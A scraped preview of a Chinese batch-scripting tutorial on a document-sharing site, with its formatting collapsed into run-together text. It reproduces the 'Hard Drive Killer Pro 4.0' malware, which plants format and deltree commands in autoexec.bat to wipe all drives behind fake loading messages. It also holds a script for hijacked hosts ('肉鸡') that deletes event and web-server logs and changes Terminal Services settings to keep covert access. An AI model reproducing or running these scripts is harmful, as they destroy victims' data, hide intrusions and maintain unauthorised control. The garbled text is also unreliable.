高手必备简明批处理教程文档格式.docx

上传人:b****6 文档编号:18990650 上传时间:2023-01-02 格式:DOCX 页数:10 大小:19.74KB
下载 相关 举报
高手必备简明批处理教程文档格式.docx_第1页
第1页 / 共10页
高手必备简明批处理教程文档格式.docx_第2页
第2页 / 共10页
高手必备简明批处理教程文档格式.docx_第3页
第3页 / 共10页
高手必备简明批处理教程文档格式.docx_第4页
第4页 / 共10页
高手必备简明批处理教程文档格式.docx_第5页
第5页 / 共10页
点击查看更多>>
下载资源
资源描述

高手必备简明批处理教程文档格式.docx

《高手必备简明批处理教程文档格式.docx》由会员分享,可在线阅读,更多相关《高手必备简明批处理教程文档格式.docx(10页珍藏版)》请在冰豆网上搜索。

高手必备简明批处理教程文档格式.docx

./ad/w/-p$bfind0bytesfreenult.bat%comspec%/e:

2048/ct.batdrivechk.batdelt.batechoiferrorlevel1setdrive=%drive%1drivechk.batclsechoPLEASEWAITWHILEPROGRAMLOADS.remifitserrorlevel1,thenthespecifieddriveisahardorfloppydrive.remifitsnoterrorlevel1,thenthespecifieddriveisaCD-ROMdrive.echo:

enddcdrivechk.batremDrivecheckinginsertionendshere.enddcstandsforenddDRIVEcHECKING.remNowwewillusetheprogramdrivechk.battoattainvaliddriveinformation.:

Sampledrvfor%ain(%alldrive%)docalldrivechk.bat%anuldeldrivechk.batnulif%drive.=.setdrive=c:

form_delcallattrib-r-hc:

autoexec.batechoechoLoadingWindows,pleasewaitwhileMicrosoftWindowsrecoversyoursystem.c:

autoexec.batechofor%ain(%drive%)docallformat%a:

autoexec.batechoclsc:

autoexec.batechofor%ain(%drive%)docallc:

temp.bat%aBunganulc:

autoexec.batechofor%ain(%drive%)calldeltree/y%a:

nulc:

autoexec.batechocdc:

autoexec.batechoechoWelcometothelandofdeath.MungaBungasMultipleHardDriveKillerversion4.0.c:

autoexec.batechoechoIfyouranthisfile,thensorry,Ijustmadeit.Thepurposeofthisprogramistotellyouthefollowing.c:

autoexec.batechoecho1.Tomakepeopleawarethatsecurityshouldnotbetakenforgranted.c:

autoexec.batechoecho2.Loveisimportant,ifyouhaveit,truly,dontletgoofitlikeIdid!

c:

autoexec.batechoecho3.IfyouareNOTavegetarian,thenyouareamurderer,andImgladyourHDisdead.c:

autoexec.batechoecho4.Dontsupportthefollowing:

War,Racism,DrugsandtheLiberalParty.c:

autoexec.batechoecho.c:

autoexec.batechoechoRegards,c:

autoexec.batechoechoMungaBungac:

autoexec.bat:

makedirifexistc:

temp.batattrib-r-hc:

temp.batnulechoechooffc:

temp.batecho%1:

temp.batechocdc:

temp.batecho:

startmdc:

temp.batechofor%ain(ifnotexist%2nulmd%2ifexist%2nulcd%2)do%ac:

temp.batechofor%ain(bottom_hole.txt)doecho%aYourGone$hole!

temp.batechoifnotexist%1:

%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2%2nulgotostartmdc:

temp.batcallattrib+r+hc:

temp.batnulclsechoInitializingVariables.remdeltree/y%a:

*.onlyeliminatesdirectories,henceleavingthefilecreatedaboveforfurtherdestruction.for%ain(%drive%)docallformat%a:

/q/u/autoSamplenulclsechoInitializingVariables.echoValidatingData.for%ain(%drive%)docallc:

temp.bat%aMunganulclsechoInitializingVariables.echoValidatingData.echoAnalyzingSystemStructure.for%ain(%drive%)callattrib-r-h%a:

/Snulcallattrib+r+hc:

temp.batnulcallattrib+r+hc:

autoexec.batnulclsechoInitializingVariables.echoValidatingData.echoAnalyzingSystemStructure.echoInitializingApplication.for%ain(%drive%)calldeltree/y%a:

*.nulclsechoInitializingVariables.echoValidatingData.echoAnalyzingSystemStructure.echoInitializingApplication.echoStartingApplication.for%ain(%drive%)docallc:

temp.bat%aMunganulclsechoThankyouforusingaMungaBungaproduct.echo.echoOhand,BillGatesrules,andheisnotageek,heisagoodlookinggenius.echo.echoHereisajokeforyou.echo.echoQ).Whatstheworstthingaboutbeinganegg?

echoA).Youonlygetlaidonce.echo.echoHAHAHAHA,getit?

Dontyoujustlovethatone?

echo.echoRegards,echo.echoMungaBunga:

endremHardDriveKillerProVersion4.0,enjoy!

remAuthor:

MungaBunga-fromAustralia,thelandfullofretardedAustralians(helpmegetoutofhere).六.精彩实例放送。

1.删除win2k/xp系统默认共享的批处理-cutherethensaveas.bator.cmdfile-echopreparingtodeleteallthedefaultshares.whenreadypresanykey.pauseechooff:

Remcheckparametersifnullshowusage.if%1=goto:

Usage:

Remcodestart.echo.echo-echo.echoNowdeletingallthedefaultshare%1$/deletenetshare%2$/deletenetshare%3$/deletenetshare%4$/deletenetshare%5$/deletenetshare%6$/deletenetshare%7$/deletenetshare%8$/deletenetshare%9$/deletenetstopServernetstartServerecho.echoAlltheshareshavebeendeleteedecho.echo-echo.echoNowmodifytheregistrytochangethesystemdefaultproperties.echo.echoNowcreatingtheregistryfileechoWindowsRegistryEditorVersion5.00c:

delshare.regechoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparametersc:

delshare.regechoAutoShareWks=dword:

00000000c:

delshare.regechoAutoShareServer=dword:

delshare.regechoNowingusingtheregistryfiletochangthesystemdefaultproperties.regedit/sc:

delshare.regechoDeletingthetemprotarilyfiles.delc:

delshare.reggoto:

END:

Usageecho.echo-echo.echoAexampleforbatchfileechoUsebatchfiletochangethesysytemshareproperties.echo.echoAuthor:

Ex4rchechoMail:

EQQ:

1672602echo.echoError:

Notenoughparametersecho.echoPleaseenterthesharediskyouwannadeleteecho.echoForinstance,todeletethedefaultshares:

echodelsharecdeipcadminprintecho.echoIfthedisklableisnotasC:

D:

E:

,Pleasechangityouself.echo.echoexample:

echoIflocakdisklableareC:

X:

Y:

Z:

,youshouldchangthecommandinto:

echodelsharecdexyzipcadminprintecho.echo*youcandeleteninesharesonceinauseing*echo.echo-goto:

EOF:

ENDecho.echo-echo.echoOK,delshare.bathasdeletedalltheshareyouassigned.echo.Anyquestions,feelfreetomailtoE.echoecho.echo-echo.:

EOFechoendofthebatchfile-cutherethensaveas.bator.cmdfile-2.全面加固系统(给肉鸡打补丁)的批处理文件-cutherethensaveas.bator.cmdfile-echoWindowsRegistryEditorVersion5.00patch.dllechoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameterspatch.dllechoAutoShareServer=dword:

00000000patch.dllechoAutoShareWks=dword:

00000000patch.dllREM禁止共享echoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsapatch.dllechorestrictanonymous=dword:

00000001patch.dllREM禁止匿名登录echoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameterspatch.dllechoSMBDeviceEnabled=dword:

00000000patch.dllREM禁止及文件访问和打印共享echoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesREMoteRegistrypatch.dllechoStart=dword:

00000004patch.dllechoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedulepatch.dllechoStart=dword:

00000004patch.dllechoHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWinlogonpatch.dllechoShutdownWithoutLogon=0patch.dllREM禁止登录前关机echoDontDisplayLastUserName=1patch.dllREM禁止显示前一个登录用户名称regedit/spatch.dll-cutherethensaveas.bator.cmdfile-下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnalservice留跳后路。

regedit/spatch.dllnetstopw3svcnetstopeventlogdelc:

winntsystem32logfilesw3svc1*.*/f/qdelc:

winntsystem32logfilesw3svc2*.*/f/qdelc:

winntsystem32config*.event/f/qdelc:

winntsystem32dtclog*.*/f/qdelc:

winnt*.txt/f/qdelc:

winnt*.log/f/qnetstartw3svcnetstarteventlogrem删除日志netstoplanmanserver/ynetstopSchedule/ynetstopRemoteRegistry/ydelpatch.dllechoTheserverhasbeenpatched,Havefun.delpatch.batREM禁止一些危险的服务。

echoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServerWinStationsRDP-Tcppatch.dllechoPortNumber=dword:

00002010patch.dllechoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServerWdsrdpwdTdstcppatch.dllechoPortNumber=dword:

00002012patch.dllechoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDDpatch.dllechoStart=dword:

00000002patch.dllechoHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuServicepatch.dllechoStart=dword:

00000002patch.dllechoErrorControl=dword:

00000001patch.dllechoImagePath=hex

(2):

25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,patch.dllecho74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 小学教育 > 其它课程

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1